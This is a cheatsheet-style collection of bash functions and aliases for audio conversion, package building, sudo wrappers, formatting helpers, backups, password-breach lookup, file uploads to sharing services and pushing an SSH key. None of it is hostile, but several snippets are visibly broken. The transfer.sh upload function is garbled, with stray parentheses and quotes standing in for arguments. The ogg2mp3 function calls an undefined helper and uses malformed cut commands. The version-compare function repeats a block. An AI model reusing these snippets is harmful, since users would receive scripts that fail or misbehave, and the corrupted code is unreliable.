###### ogg2mp3 - call this like: ogg2mp3 /path/to/source/file.flac /path/to/destination - needs: getFileName function; oggdec; lame
function ogg2mp3()
{
local old_file="${1}"
local new_dir="${2}"
local short_filename=`getFileName "${old_file}"`
local new_file="${short_filename:0:${#short_filename}-4}.mp3"
local info_string=`get_ogg_info "$old_file"`
local cartist=`cut -d| -f1 ${info_string}`
local ctitle=`cut -d| -f2 ${info_string}`
local calbum=`cut -d| -f3 ${info_string}`
local cgenre=`cut -d| -f4 ${info_string}`
local cdate=`cut -d| -f5 ${info_string}`
local ctracknumber=`cut -d| -f6 ${info_string}`
oggdec "${old_file}" -o - | lame -b 320 --tt "$ctitle" --ta "$cartist" --tl "$calbum" --ty $cdate --tn $ctracknumber --tg "$cgenre" -h - > "${new_dir}/${new_file}"
sleep .5
}
###### ogg_info - call this like: - ogg_info_string=`get_ogg_info "/path/to/file.ogg"` - ofcourse the string would have to be parsed - it is pipe | delimited - in order artist, title, album, genre, date, and track number - inStr function needed; vorbiscomment (comes with oggenc)
function ogg_info()
{
local turn=""
local index=0
local item=""
local cartist=""
local ctitle=""
local calbum=""
local cgenre=""
local cdate=""
local ctracknumber=""
vorbiscomment -l "$1" > info.lst
for turn in artist title album genre date tracknumber
do
tmp_comment=`grep -i "$turn" info.lst`
item=`inStr "=" "$tmp_comment"`
comment=${tmp_comment:${item}+1}
((index++))
case $index in
1) cartist="$comment";
;;
2) ctitle="$comment";
;;
3) calbum="$comment";
;;
4) cgenre="$comment";
;;
5) cdate="$comment";
;;
6) ctracknumber="$comment";
;;
esac
done
info="${cartist}|${ctitle}|${calbum}|${cgenre}|${cdate}|${ctracknumber}"
echo "${info}"
rm -f info.lst
}
alias wma2mp3='for f in *.wma; do ffmpeg -i "$f" -ab 128k "${f%.wma}.mp3" -ab 128K; done'
# convert wma to mp3@128k
alias wma2ogg='for f in *.wma; do ffmpeg -i "$f" -ab 128k "${f%.wma}.ogg" -ab 128K; done'
# convert wma to ogg@128
alias wma2wav='for i in *.wma; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader:file="${i%.wma}.wav" "$i" ; done'
# convert wma to wav
###### record audio and use sox to eliminate silence outputs an ogg file that only contains the audio signal exceeding -45dB - useful for recording radio scanner
function audiorecord-45dB()
{
rec -r 44100 -p | sox -p "audio_name-$(date '+%Y-%m-%d').ogg" silence -l 1 00:00:00.5 -45d -1 00:00:00.5 -45d
}
####### Download AUR package using best guess at filename
function aurget() {
local DIR=$HOME/Packages
cd $DIR && wget http://aur.archlinux.org/packages/${1}/${1}.tar.gz
ls -l
}
###### shows a gui color chart
# function color-picker()
# {
# # for GNOME3 only
# # sudo apt-get install python-webkit
# # also requires: "~/.gnome2/nemo-scripts/.colorchart/view.html"
# echo "When you are finished, press "Control C" to continue..."
# cat > "/tmp/color-picker.py" <<"End-of-message"
# #!/usr/bin/python
# import os
# import pygtk
# pygtk.require('2.0')
# import gtk
# import webkit
# homedir = os.path.expanduser('~')
# try:
# from win32com.shell import shellcon, shell
# homedir = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0)
# except ImportError:
# homedir = os.path.expanduser("~/.gnome2/nemo-scripts/.colorchart/view.html")
# class ColorChart:
# def __init__(self):
# self.moz = webkit.WebView()
# box = gtk.VBox(False,0)
# win = gtk.Window()
# win.add(box)
# hbox = gtk.HBox(False,0)
# box.pack_start(hbox,False,False)
# hbox.show()
# box.pack_start(self.moz,True,True,0)
# self.moz.show()
# self.moz.open(homedir)
# self.moz.set_size_request(650,550)
# title=self.moz.get_title()
# win.set_title("RGB/HEX Color Picker")
# win.show_all()
# if __name__ == "__main__":
# ColorChart()
# gtk.main()
# End-of-message
# chmod +x "/tmp/color-picker-.py"
# /usr/bin/python "/tmp/color-picker.py"
# /bin/rm "/tmp/color-picker.py"
# }
###### creates an authentic and correct debian file / uploads to a Launchpad PPA for debian file creation
# function debmaker()
# {
# function searchnreplace_()
# {
# # Store old text and new text in variables
# old=$1;
# new=$2;
# # Shift positional parameters to places to left (get rid of old and
# # new from command line)
# shift;
# shift;
# # Store list of files as a variable
# files=$@;
# a='';
# for a in $files
# do
# temp=$(echo "/tmp/$LOGNAME-$a");
# # echo "$temp";
# echo -n ".";
# sed -e "s/$old/$new/g" $a > $temp;
# mv $temp $a;
# done
# echo;
# echo -e "Searched $# files for '$old' and replaced with '$new'";
# }
# sudo apt-get install devscripts dh-make dput
# echo -n "Please enter the full path to Public keys (spaces are fine)...
#
# Example: '/home/(your username)/Public_Key-public.key'...
#
# "
# read MYKEYS_PUBLIC_LOCATION
# gpg --import "$MYKEYS_PUBLIC_LOCATION"
# echo -n "Please enter the full path to Private keys (spaces are fine)...
#
# Example: '/home/(your username)/Private_Keys-private.key'...
#
# "
# read MYKEYS_PRIVATE_LOCATION
# gpg --import "$MYKEYS_PRIVATE_LOCATION"
# echo -n "All done."
# echo -n "Please enter the name of the package:
# "
# read PACKAGE_NAME
# echo -n "Please enter your name as it is on Launchpad:
# "
# read YOUR_NAME
# echo -n "Please enter your email address as it is on Launchpad:
# "
# read YOUR_EMAILADDRESS
# dh_make -n -s -e $YOUR_EMAILADDRESS
# cd debian
# searchnreplace_ ""$USER" <"$YOUR_EMAILADDRESS">" ""YOUR_PPA_USERNAME" <"$YOUR_EMAILADDRESS">" *
# searchnreplace_ "unstable; urgency=low" "saucy; urgency=low" *
# echo '#!/usr/bin/make -f' >> $PACKAGE_NAME.install
# echo ''
# echo '# add more lines like below when necessary' >> $PACKAGE_NAME.install
# echo '<put_whatever_directory(s)_here>/ /' >> $PACKAGE_NAME.install
# sudo chmod +x $PACKAGE_NAME.install
# gedit control changelog $PACKAGE_NAME.install
# cd ..
# read -sn 1 -p "If you are ready to build the package, press any key to continue...
# "
# echo -n "What do you want to compile the original source to?:
#
# (1) a debian binary for personal use / check to see if the building works
# (2) a new source for potential Launchpad PPA upload
# (3) a debian binary for checking AND a new source for potential Launchpad PPA upload
#
# Press 'Enter' for default (default is '3')...
#
# "
# read OPTION_NUMBER
# # extra blank space
# echo "
# "
# # default
# if [[ -z $OPTION_NUMBER ]] ; then
# # If no device passed, default to "3"
# debuild -b
# read -sn 1 -p "Built deb is done; if it looks good, and you feel its good enough to make the source for a PPA upload, press any key to continue...
# "
# debuild -S
# cd ..
# mkdir Debian-Package
# mv -fv *_all.* Debian-Package
# mv -fv *_amd64.* Debian-Package
# mv -fv *_i386.* Debian-Package
# read -sn 1 -p "If you are ready to upload the built package to Launchpad, press any key to continue...
# "
# echo -n "Please enter the name of your Launchpad PPA that you would like to upload the package to:
#
# ...like this...('ppa:myppa/oneiric')...
# "
# read PPA_NAME
# dput $PPA_NAME *.changes
# fi
# # preset
# if [[ $OPTION_NUMBER = 1 ]] ; then
# debuild -b
# fi
# if [[ $OPTION_NUMBER = 2 ]] ; then
# debuild -S
# cd ..
# read -sn 1 -p "If you are ready to upload the built package to Launchpad, press any key to continue...
# "
# echo -n "Please enter the name of your Launchpad PPA that you would like to upload the package to:
#
# ...like this...('ppa:myppa/oneiric')...
# "
# read PPA_NAME
# dput $PPA_NAME *.changes
# fi
# if [[ $OPTION_NUMBER = 3 ]] ; then
# debuild -b
# read -sn 1 -p "Built deb is done; if it looks good, and you feel its good enough to make the source for a PPA upload, press any key to continue...
# "
# debuild -S
# cd ..
# mkdir Debian-Package
# mv -fv *_all.* Debian-Package
# mv -fv *_amd64.* Debian-Package
# mv -fv *_i386.* Debian-Package
# read -sn 1 -p "If you are ready to upload the built package to Launchpad, press any key to continue...
# "
# echo -n "Please enter the name of your Launchpad PPA that you would like to upload the package to:
#
# ...like this...('ppa:myppa/oneiric')...
# "
# read PPA_NAME
# dput $PPA_NAME *.changes
# fi
# }
####### Pseudo namespaces in bash
#------------------------------------------////
## copyright: 2009, Poor Yorick
## author url: http://www.pooryorick.com
## license: http://www.ynform.org/w/Pub/OpenSourceSharewareLicense
## to "import" functions and assign them to pseudo namespaces using prefixes
## caveat: works well for functions, but there is still only one global namespace -- no script-level namespace like Python's
# function shimport() {
# local magic part prefix script script2 t tvar var vartype
# magic=__shimport__
# script='
# { @1 ; } >&2
# @script2
# '
# script="${script//@1/$(< /dev/stdin)}"
# script=$(printf '%s\n%s' "$script" "declare -p $magic")
# prefix="$1"
# shift
# script2=''
# while test ${#@} -gt 0; do
# var=${1%%=*}
# vartype=${1#*=}
# case "$vartype" in
# f*)
# t=-f
# ;;
# v*)
# t=-p
# ;;
# *)
# echo "$vartype" is an invalid type specifier for "$var"!
# return 1
# ;;
# esac
# read -d '' part <<-'EOF'
# @magic=$(declare @t @var)
# @magic=${@magic/@var/@prefix@var}
# printf '%s\\n' "$@magic"
# EOF
# for tvar in magic t var prefix; do
# part=${part//@$tvar/${!tvar}}
# done
# script2="$(printf '%s\n%s\n' "$script2" "$part")"
# shift
# done
# printf '%s\n' "$(bash -c "${script//@script2/$script2}")"
# }
# shimport_test1=$(cat <<-'EOG'
# eval "$(shimport mod1_ var1=v var2=v func1=f <<-'EOF'
# echo welcome to the inner script!
# var1=( one two "forty three" )
# var2=val2
# function func1() {
# echo welcome to func1!
# }
# EOF
# )"
# mod1_func1
# printf 'mod1_var1: %s\n' "${mod1_var1[@]}"
# EOG
# )
# eval "$shimport_test1"
# }}}
# Sudo stuff
#------------------------------------------////
###### Apt-get via sudo
# An apt-get wrapper function which will run the command via sudo, but will run it normally if you're only downloading source files.
# function apt-get() { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" }
# function sudo()
# {
# command="$@"
# if [ -z "$command" ]; then
# command sudo -s
# else
# command sudo "$@"
# fi
# }
###### Wrap sudo to handle aliases and functions
# (enabled means all 'sudo' in this file need
# to be removed) (disabled for now by adding
# a single '#')
# function sudo()
# {
# local c o t parse
## Parse sudo args
# OPTIND=1
# while getopts xVhlLvkKsHPSb:p:c:a:u: t; do
# if [ "$t" = x ]; then
# parse=true
# else
# o="$o -$t"
# [ "$OPTARG" ] && o="$o $OPTARG"
# fi
# done
# shift $(( $OPTIND - 1 ))
## If no arguments are left, it's a simple call to sudo
# if [ $# -ge 1 ]; then
# c="$1";
# shift;
# case $(type -t "$c") in
# "")
# echo No such command "$c"
# return 127
# ;;
# alias)
# c="$(type "$c"|sed "s/^.* to \`//;s/.$//")"
# ;;
# function)
# c=$(type "$c"|sed 1d)";\"$c\""
# ;;
# *)
# c="\"$c\""
# ;;
# esac
# if [ -n "$parse" ]; then
## Quote the rest once, so it gets processed by bash.
## Done this way so variables can get expanded.
# while [ -n "$1" ]; do
# c="$c \"$1\""
# shift
# done
# else
## Otherwise, quote the arguments. The echo gets an extra
## space to prevent echo from parsing arguments like -n
## Note the lovely interactions between " and ' ;-)
# while [ -n "$1" ]; do
# c="$c '$(echo " $1"|sed -e "s/^ //" -e "s/'/'\"'\"'/")'"
# shift
# done
# fi
## Run the command with verbose options
## echo Executing sudo $o -- bash -x -v -c "$c" >&2
# command sudo $o bash -xvc "$c"
# else
## echo sudo $o >&2
# command sudo $o
# fi
# }
###### Sudo for entire line (including pipes and redirects)
# USAGE: $ sudor your command
# This command uses a dirty hack with history, so be sure you not turned it off.
# WARNING!: This command behavior differ from other commands. It more like text macro, so you shouldn't use it in subshells, non-interactive sessions, other # functions/aliases and so on. You shouldn't pipe into sudor (any string that prefixes sudor will be removed), but if you really want, use this commands:
# function proceed_sudo() { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias sudor="proceed_sudo # "
####### Arch latest news long
#if [ "$PS1" ] && [[ $(ping -c1 www.google.com 2>&-) ]]; then
# # The characters "£, §" are used as metacharacters. They should not be encountered in a feed...
# echo -e "$(echo $(curl --silent https://www.archlinux.org/feeds/news/ | sed -e ':a;N;$!ba;s/\n/ /g') | \
# sed -e 's/&/\&/g
# s/<\|</</g
# s/>\|>/>/g
# s/<\/a>/£/g
# s/href\=\"/§/g
# s/<title>/\\n\\n\\n :: \\e[01;31m/g; s/<\/title>/\\e[00m ::\\n/g
# s/<link>/ [ \\e[01;36m/g; s/<\/link>/\\e[00m ]/g
# s/<description>/\\n\\n\\e[00;37m/g; s/<\/description>/\\e[00m\\n\\n/g
# s/<p\( [^>]*\)\?>\|<br\s*\/\?>/\n/g
# s/<b\( [^>]*\)\?>\|<strong\( [^>]*\)\?>/\\e[01;30m/g; s/<\/b>\|<\/strong>/\\e[00;37m/g
# s/<i\( [^>]*\)\?>\|<em\( [^>]*\)\?>/\\e[41;37m/g; s/<\/i>\|<\/em>/\\e[00;37m/g
# s/<u\( [^>]*\)\?>/\\e[4;37m/g; s/<\/u>/\\e[00;37m/g
# s/<code\( [^>]*\)\?>/\\e[00m/g; s/<\/code>/\\e[00;37m/g
# s/<a[^§|t]*§\([^\"]*\)\"[^>]*>\([^£]*\)[^£]*£/\\e[01;31m\2\\e[00;37m \\e[01;34m[\\e[00;37m \\e[04m\1\\e[00;37m\\e[01;34m ]\\e[00;37m/g
# s/<li\( [^>]*\)\?>/\n \\e[01;34m*\\e[00;37m /g
# s/<!\[CDATA\[\|\]\]>//g
# s/\|>\s*<//g
# s/ *<[^>]\+> */ /g
# s/[<>£§]//g')\n\n";
#fi
####### Arch latest news short - http://1.f.ix.de/icons/ho/rss.gif
#if [ "$PS1" ] && [[ $(ping -c1 www.google.com 2>&-) ]]; then
# # The characters "£, §" are used as metacharacters. They should not be encountered in a feed...
# echo -e "$(echo $(curl --silent https://www.archlinux.org/feeds/news/ | awk ' NR == 1 {while ($0 !~ /<\/item>/) {print;getline} sub(/<\/item>.*/,"</item>") ;print}' | sed -e #':a;N;$!ba;s/\n/ /g') | \
# sed -e 's/&/\&/g
# s/<\|</</g
# s/>\|>/>/g
# s/<\/a>/£/g
# s/href\=\"/§/g
# s/<title>/\\n\\n\\n :: \\e[01;31m/g; s/<\/title>/\\e[00m ::\\n/g
# s/<link>/ [ \\e[01;36m/g; s/<\/link>/\\e[00m ]/g
# s/<description>/\\n\\n\\e[00;37m/g; s/<\/description>/\\e[00m\\n\\n/g
# s/<p\( [^>]*\)\?>\|<br\s*\/\?>/\n/g
# s/<b\( [^>]*\)\?>\|<strong\( [^>]*\)\?>/\\e[01;30m/g; s/<\/b>\|<\/strong>/\\e[00;37m/g
# s/<i\( [^>]*\)\?>\|<em\( [^>]*\)\?>/\\e[41;37m/g; s/<\/i>\|<\/em>/\\e[00;37m/g
# s/<!\[CDATA\[\|\]\]>//g
# s/\|>\s*<//g
# s/ *<[^>]\+> */ /g
# s/[<>£§]//g')\n\n";
#fi
function mdr() { pandoc $1 | lynx -stdin -dump }
# Render #markdown in the shell.
function topuniq(){ sort|uniq -c|sort "${@:--rn}"; }
# Function to shorten this commonly used command line pattern & allow for options for final sort
function vercomp () {
# bash: version compare function
A=$1
OP="$2"
B=$3
if [ "$A" == "$B" ]; then
if [ "$OP" == "!=" ]; then
if [[ $A == $B ]]
then
return 1
else
return 0
fi
fi
if [ "$OP" == "=" ]; then
if [[ $A == $B ]]
then
return 0
else
return 1
fi
else
return 1
fi
else
if [ "$OP" == "!=" ]; then
if [[ $A == $B ]]
then
return 1
else
return 0
fi
fi
if [ "$OP" == "=" ]; then
if [[ $A == $B ]]
then
return 0
else
return 1
fi
fi
fi
local IFS=.
local i ver1=($A) ver2=($B)
# fill empty fields in ver1 with zeros
for ((i=${#ver1[@]}; i<${#ver2[@]}; i++))
do
ver1[i]=0
done
if [ "$OP" == "<" ]; then
for ((i=0; i<${#ver1[@]}; i++))
do
if [[ -z ${ver2[i]} ]]
then
# fill empty fields in ver2 with zeros
ver2[i]=0
fi
if ((10#${ver1[i]} < 10#${ver2[i]}))
then
return 0
fi
if ((10#${ver1[i]} > 10#${ver2[i]}))
then
return 1
fi
done
fi
local IFS=.
local i ver1=($A) ver2=($B)
# fill empty fields in ver1 with zeros
for ((i=${#ver1[@]}; i<${#ver2[@]}; i++))
do
ver1[i]=0
done
if [ "$OP" == ">" ]; then
for ((i=0; i<${#ver1[@]}; i++))
do
if [[ -z ${ver2[i]} ]]
then
# fill empty fields in ver2 with zeros
ver2[i]=0
fi
if ((10#${ver1[i]} > 10#${ver2[i]}))
then
return 0
fi
if ((10#${ver1[i]} < 10#${ver2[i]}))
then
return 1
fi
done
fi
}
#-----------------------------------------------------------------------------------------------------------------------------#
# Prints msec in format "[d days ]hh:mm:ss.SSS"
function format_duration #(msec=0)
{
local t=${1:-0}
local days=$((t/60/60/24))
[ $days -gt 0 ] && echo -ne "$days days "
printf "%d:%02d:%02d" $((t/60/60%24)) $((t/60%60)) $((t%60))
}
# Prints file permissions in decimal mode, ex. 755.
# $ perm ~
# $ 750
function perm #(path=.)
{
[ -e "${1:-.}" ] && stat -c %a "${1:-.}"
}
# Prints timestamp of elderly modified file matching mask in provided directory.
# If directory does not exist or no files matching mask present then nothing is output.
function eldest_content_mod_ts #(path=., filename_mask=.*)
{
#if [ -n "`basename '$1'`" ]; then
if [ -d "${1:-.}" ]; then
#find "`dirname '$1'`" -type f -maxdepth 1 -name "`basename '$1'`" -printf "%C@ %T@ %P\n"
find "${1:-.}" -maxdepth 1 -name "${2:-.*}" -printf "%C@ %T@ %P\n" \
| awk '{ print ($1>$2?$1:$2) }' \
| sort -bgk 1 \
| tail -n 1
fi
}
# Prints names of files which match.
# perm - exact match
# -perm - greater or equal
# +perm - less or equal
function match_perm #(filename_mask, perm)
{
find "`dirname $1`" -maxdepth 1 -name "`basename $1`" -printf "%P\n" -perm +`printf %03d "${2:-0}"`
}
# Prints directory content age in msec.
function content_age #(path=., filename_mask=.*)
{
local mod_ts="`eldest_content_mod_ts \"$1\" \"$2\"`"
if [ -n "$mod_ts" ]; then
expr "`date +%s` - $mod_ts"
fi
}
# Returns 0 iff provided path is mounted, otherwhise 1.
function mounted #(path=.)
{
[ -d "${1:-.}" ] && [[ ! `stat -f -L -c %T "${1:-.}"` =~ "ext.*" ]] && return 0
return 1
}
# Returns 0 iff permissions for path are greater or equal to perm.
function enough_perm #(path, perm)
{
local act=`perm "$1"`
local exp=`printf %03d "${2:-0}"`
[ "${act:0:1}" -ge "${exp:0:1}" ] && [ "${act:1:1}" -ge "${exp:1:1}" ] && [ "${act:2:1}" -ge "${exp:2:1}" ] && return 0
return 1
}
function blue(){ tput setaf 4; echo $@; tput sgr0; }
# Make text passed by argument to this function blue. ex: blue "I'm blue"
function box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
# Make box around text. By @bartonski See https://www.youtube.com/watch?v=9bZ85aMuf6c … for an explanation of how it works.
function man2txt() { man "$@" | col -bx ;}
# Dump man page as clean text - Dumping man pages to text typically retains certain formatting such as foo^H^H^H___ for underscoring, and reverse-line feeds (not sure why). 'col -bx' removes these.
function hex2bin () { s=${@^^}; for i in $(seq 0 1 $((${#s}-1))); do printf "%04s" `printf "ibase=16; obase=2; ${s:$i:1};\n" | bc` ; done; printf "\n"; }
# Convert hex data to binary with a bash function (requires bash v4+ for the @^^ lowercase hex demangling)
# Use this function with bash version 4+ to convert arbitrary hexadecimal sequences to binary. If you don't have bash 4+ then modify the lowercase to uppercase demangling statement s=${@^^} to set s equal to the uppercase hex input or the bc command throws an input parser error. This is sample output - yours may be different.
$ bash --version
GNU bash, version 4.4.23(1)-release (x86_64-apple-darwin17.5.0)
$ hex2bin 000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f
0000000000000000000000000000000000000000000110011101011001101000100111000000100001011010111000010110010110000011000111101001001101001111111101110110001110101110010001101010001010100110110000010111001010110011111100011011011000001010100011001110001001101111
function yesterday(){ date -d "${1:-now} - 1 day" +"${2:-%Y%m%d}"; }
# A function that can give you previous day. Can take date arg and format.
function thirdline(){ awk '{if (NR%3==0){print "\033[32m" $0 "\033[0m"} else{print}}'; }
# Function that will make every 3rd line of input green to make it easier to follow the lines among others. Usage: ps auxww | thirdline ip addr show | thirdline
#"greenbar" look with something like:
awk '{if (NR%2==0){print "\033[48;5;36m" $0 "\033[48;5;0m"} else{print}}'
# Want to make sure you get the white lines too?
awk '{print "\033[30;48;5;" (NR % 3 ? 15 : 45) "m" $0 "\033[0m"}'
function uploadphotos(){ rsync -av "$@" you@webserver:www/photos/; }
# A function you can set up to make it easy to upload photos to your website. Example usage: uploadphotos IMG_*.JPG 01535.jpg anotherphoto.JPG
# Pluralize user input - Pluralize a word, aka change from single to multiple; text formatting. echo hamburgler | pluralize Show Sample Output
pluralize() { if [ -n "$1" ]; then echo ${1}s else while read line; do pluralize $line done fi }
# Check if your desired password is already available in haveibeenpwnd database. This command uses the API provided by HIBP
function hibp() { sha1=$(echo -n "$1"|sha1sum|awk '{print toupper($0)}'|tr -d '\n'); curl -s -H $'Referer: https://haveibeenpwned.com/' https://api.pwnedpasswords.com/range/$(echo -n $sha1|cut -c1-5)|grep -i $(echo -n $sha1|cut -c6-40); }
#Backup with versioning - Apart from an exact copy of your recent contents, also keep all earlier versions of files and folders that were modified or deleted. Inspired by the excellent EVACopy http://evacopy.sourceforge.net Show Sample Output
backup() { source=$1 ; rsync --relative --force --ignore-errors --no-perms --chmod=ugo=rwX --delete --backup --backup-dir=$(date +%Y%m%d-%H%M%S)_Backup --whole-file -a -v $source/ ~/Backup ; } ; backup /source_folder_to_backup
# Make .bashrc function to backup the data you changed last houres - The original overwrites any previous backups, and only saves exactly the last hours worth, but not 1 hour + 1 minute. This version creates or appends files, and backs up everything since the last backup (using the backups timestamp as the reference), plus it uses TMPDIR if set.
echo "function backup() { local CA=c T=${TMPDIR:+/tmp}/backup.tar.gz; [[ -f $T ]]&& C=r; find ~ -type f -newer $T | tar ${CA}vfz $T -T - ;}" >> ~/.bashrc
# Funktion for cmd post to transfer.sh
function transfer() { if [ $# -eq 0 ]; then echo -e "No arguments specified. Usage:\necho transfer /tmp/test.md\ncat /tmp/test.md | transfer test.md"; return 1; fi
tmpfile=$( mktemp -t transferXXX ); if tty -s; then basefile=$(basename "(" | sed -e 's/[^a-zA-Z0-9._-]/-/g'); curl --progress-bar --upload-file "(" "https://transfer.sh/$basefile" >> $tmpfile; else curl --progress-bar --upload-file "-" "https://transfer.sh/(" >> $tmpfile ; fi; cat $tmpfile; rm -f $tmpfile; }")))")}
# Bash function that saves bash functions to file from shell session - The simpler, 1-arg version is save_function(){ { date +"# %F.%T $1; declare -f "$1";}| tee -a ~/.bash_functions; }`
function save_function(){ while [[ $# > 0 ]]; do { date +"# %F.%T $1; declare -f "$1";}| tee -a ~/.bash_functions; shift; done;}
#" Sample output
# $ save_function save_function
# 2019-07-16.18:03:57 save_function
# save_function ()
# {
# while [[ $# > 0 ]]; do
# {
# date +"# %F.%T $1";
# declare -f "$1"
# } | tee -a ~/.bash_functions;
# shift;
# done
# }
# Line Separator That is Width of Terminal - Creates a line seperator that will be the width of your window.
function CL () { WORDS=$@; termwidth="$(tput cols)"; padding="$(printf '%0.1s' ={1..500})"; printf '%*.*s %s %*.*s\n' 0 "$(((termwidth-2-${#WORDS})/2))" "$padding" "$WORDS" 0 "$(((termwidth-1-${#WORDS})/2))" "$padding"; }
# Sample output
# ???? CL test
# ============================================== test ==============================================
# edit, view or execute last modified file with a single key-press - Copy this function to command line, press 'Enter' 'f'' 'Enter' to execute (sentence on the left written only for newbies). Hint 'e|x|v|1..9' in front of displayed last modified file name means: "Press 'e' for edit,'x' for execute,'v' for view or a digit-key '1..9' to touch one file from the recent files list to be last modified" and suggested (hidden files are listed too, else remove 'a' from 'ls -tarp' statement if not intended). If you find this function useful you can then rename it if needed and append or include into your ~/.bashrc config script. With the command . ~/.bashrc the function then can be made immediately available. In the body of the function modifications can be made, i.e. replaced joe editor command or added new option into case statement, for example 'o) exo-open $h;;' command for opening file with default application - or something else (here could not be added since the function would exceed 255 chars). To cancel execution of function started is no need to press Ctrl-C - if the mind changed and want to leave simple Enter-press is enough. Once defined, this function can with typeset -f f command be displayed in easy readable form
function f() { ls -lart;e="ls -tarp|grep -v /|tail -9";j=${e/9/1};g=${e/9/9|nl -nln};h=$(eval $j);eval $g;read -p "e|x|v|1..9 $(eval $j)?" -n 1 -r;case $REPLY in e) joe $h;;v)cat $h;;x) eval $h;;[1-9]) s=$(eval $g|egrep ^$REPLY) && touch "${s:7}" && f;;esac ; }
# Sample output
# knoppix5@kanta:~/SKRIPTE$ f
# ...
# 1 rdiff_backup_to_sda3.txt
# 2 arrange_windows_simple_from_xfce_panel.txt
# 3 .config.sh
# 4 arrange_windows.txt
# 5 read1.sh
# 6 read3.sh
# 7 lsb.sh
# 8 board9.pgn
# 9 read4.sh
# e|x|v|1..9 read4.sh?
# create a nicely formatted example of a shell command and its output - Shell function which takes a bash command as its input, and displays the following formatted output: EXAMPLE: command OUTPUT: output from command
function example() { echo "EXAMPLE:"; echo; echo " $@"; echo; echo "OUTPUT:"; echo ; eval "$@" | sed 's/^/ /'; }
# Sample output
# EXAMPLE:
# example ls -l
# OUTPUT:
# EXAMPLE:
# ls -l
# OUTPUT:
# total 0
# -rw-rw-r-- 1 bartonc bartonc 0 Nov 10 13:58 a
# -rw-rw-r-- 1 bartonc bartonc 0 Nov 10 13:58 b
# -rw-rw-r-- 1 bartonc bartonc 0 Nov 10 13:58 c
# Listen to a song from youtube
function listen-to-yt() { if [[ -z "$1" ]]; then echo "Enter a search string!"; else mpv "$(youtube-dl --default-search 'ytsearch1:' \"$1\" --get-url | tail -1)"; fi }
# Compute factorial of positive integer using only built-ins
function factorial() { eval let N=1 N*={1..$1} ; echo $N; }
# Recursively compute factorial of positive integer using only built-ins
function factorial() { [ "$1" = "0" ] && echo ${2:-1} || factorial $(( $1 - 1 )) $(( ${2:-1} * $1 )); }
# Listen to a song from youtube with youtube-dl and mpv - Explanation Firstly the function checks if user gave it any input, and notifies the user if they failed to do so. If user has inputed a search string, the function will call upon youtube-dl to find url of the audio of the first matching youtube video and play that with mpv. Call function by wrapping search string in quotes: listen-to-yt "sultans of swing" You have to paste the line in your .zshrc and source .zshrc for it to work. Limitations The dependancies are youtube-dl and mpv.
function listen-to-yt() { if [[ -z "$1" ]]; then echo "Enter a search string!"; else mpv "$(youtube-dl --default-search 'ytsearch1:' \"$1\" --get-url | tail -1)"; fi }
# Cipher the file, upload it using tor.
# The link can be used only once, and expires after 24H.
function fileIoupload() {
PASS=$(openssl rand -base64 16)
zip -P "$PASS" - "$1" | proxychains curl -F "file=@-" "https://file.io/?expires=1d" | cut -d '"' -f 10
echo "PASSWORD: $PASS"
}
#-------------------------------------#
# Awk float comparison hack for Bash
# By default Bash does not support floating point number comparisons…
[[ '2.1' -gt '1.2' ]] && {
printf 'true\n'
} || {
printf 'false\n'
}
# syntax error: invalid arithmetic operator (error token is ".1")
(('1.2' < '2.1')) && {
printf 'true\n'
} || {
printf 'false\n'
}
# syntax error: invalid arithmetic operator (error token is ".2 < 2.1")
#… however, with a bit of Awk redirection it is possible to add this functionality…
function compare_floats() {
awk 'BEGIN { if ('"$@"') { exit 0; } exit 1; }'
}
# Example usage…
compare_floats '2.1 > 1.2' && {
printf 'totally true\n'
} || {
printf >&2 'oh so false\n'
}
# totally true
if compare_floats '2.1 < 1.2'; then
printf 'totally true\n'
else
printf >&2 'oh so false\n'
fi
# oh so false
#-------------------------------------#
#-------------------------------------#
# Awk/#Bash _slugify_ string...
function slugger() {
awk '{
gsub(" ", "-", $0)
gsub(/[^a-zA-Z0-9\-]/, "", $0)
gsub(/--*/, "-", $0)
print tolower($0)
}' <<<"$@"
}
slugger 'SPAM-`-`-' '"Flavored--ham'
# spam-flavored-ham
# stdout to array...
_dir="/tmp/somewhere"
_s=($(ls -ld "${_dir}" | awk '{ print $1, $3, $4; }'))
printf 'Group -> %s\n' "${_s[1]}"
printf 'User -> %s\n' "${_s[2]}"
#-------------------------------------#
#-------------------------------------#
# Bash trick for stripping any number of trailing slashes...the `%%<pastern>` bit is the _magic sauce_
function slash_stripper() {
local _path="${1%%*(//|/)}"
printf '%s\n' "${_path}"
}
slash_stripper '/home/user/bad-path///'
# /home/user/bad-path
#-------------------------------------#
# Bash regex-like pastern branching...the `=~` bit is the _magic sauce_
function escape_double_quotes() {
local _input="$@"
[[ "${_input}" =~ '"' ]] && {
_input="${@//\"/'\"'}"
}
printf '%s\n' "${_input}"
}
escape_double_quotes '"foo"'
# \"foo\"
#-------------------------------------#
#-------------------------------------#
# Quick SSH - Bash redirection example...
function push_key(){
_host="${1:?}"
_key="${2:?}"
ssh "${_host}" <<EOF
mkdir ~/.ssh
tee -a ~/.ssh/authorized_keys 1>/dev/null <<<"$(<"${_key}")"
chmod 644 ~/.ssh/authorized_keys
EOF
}
push_key raspberrypi ~/.ssh/pi.pub
# Adds key to server
#-------------------------------------#
#-------------------------------------#
# bash scripting tip; how to pass multiple arrays by reference with `local -n`...
function nth(){
_i="$1"
local -n _ref1="$2"
local -n _ref2="$3"
printf '%s | %s\n' "${_ref1[$_i]}" "${_ref2[$_i]}"
}
_a0=(spam space ham)
_a1=(1 2 3)
nth '0' '_a0' '_a1'
# spam | 1
#-------------------------------------#
#-------------------------------------#
function spam { <command>; }
# verses...
function ham(){ <command>; }
#-------------------------------------#
#==============================##==============================#
# CMD function #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command function in a clear format. This allows users to quickly access the needed information for function without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for function are a valuable resource to work efficiently and purposefully.
